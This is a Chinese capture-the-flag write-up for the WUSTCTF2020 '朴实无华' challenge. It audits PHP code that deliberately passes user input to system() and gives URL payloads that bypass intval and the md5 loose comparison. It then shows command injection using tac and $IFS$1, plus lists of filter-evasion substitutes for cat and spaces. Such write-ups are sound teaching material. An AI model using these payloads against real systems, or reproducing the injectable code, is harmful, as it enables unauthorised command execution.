[WUSTCTF2020]朴实无华1wp

本题考点:1.php特性绕过:1.1:intval绕过,1.2:md5弱相等;2.rce绕过过滤

先信息收集,各种都是一遍,最终在目录扫描dirsearch中找到一个robots.txt访问看看,

发现一个文件/fAke_f1agggg.php,访问一下试试

发现一个假flag,f12看看请求包

发现一个文件,访问看看是什么

发现一个php代码审计但是是乱码的这样就要改编码了

1.edge改页面编码方式:

首先点击右上角那3个点然后点设置

然后把允许in...模式下重新加载网站设为允许

然后点在ie模式下重新加载之后在页面右键--编码--其他--utf-8

这样页面就不会有乱码了

2.火狐浏览器改编码

按alt然后在上面弹出的选项中点查看--修复文字编码

之后进行代码审计

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}

发现者串代码有三层验证

1.让num小于2020但要num+1大于2021

可以利用intval进行绕过,intval函数可以用科学计数法进行绕过

payload:url/?num=3e4

发现确实绕过了第1层

进行第二层的绕过:让md5=md5后的值,也就是让赋值给md5的值它本身要等于md5后的值,这里就要用到md5弱相等,以0e开头且后面是纯数字的两个md5值是相等的,可以让ai写一个python脚本,要求:以0e开头且后面都是数字的值的md5值也是以0e开头后面全是数字,我这边得到0e7266286335,

payload:url/?num=3e4&md5=0e7266286335

绕过成功,进行第三层绕过:

发现第三层有system可以利用它进行rce,

在此之前它用if(!strstr($get_flag," "))过滤了空格,它加了!会如果get_flag出现空格会直接触发else终止运行并输出快到非州了还$get_flag=str_ireplace("cat","wctf2020",$get_flag)过滤了cat，所以get_flag中不能输入cat和空格,那么也就是说直接输入ls是可行的

fl4g.php不行那就试试那个最长的

这里要用替代cat和空格的值进行查看:

1.代替cat的有: tac、c\at、more、less、head、tail、sort

2.替代空格的有：$IFS、${IFS}、$IFS$1

payload:url/?num=3e4&md5=0e7266286335&get_flag=tac$IFS$1fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

最终得到flag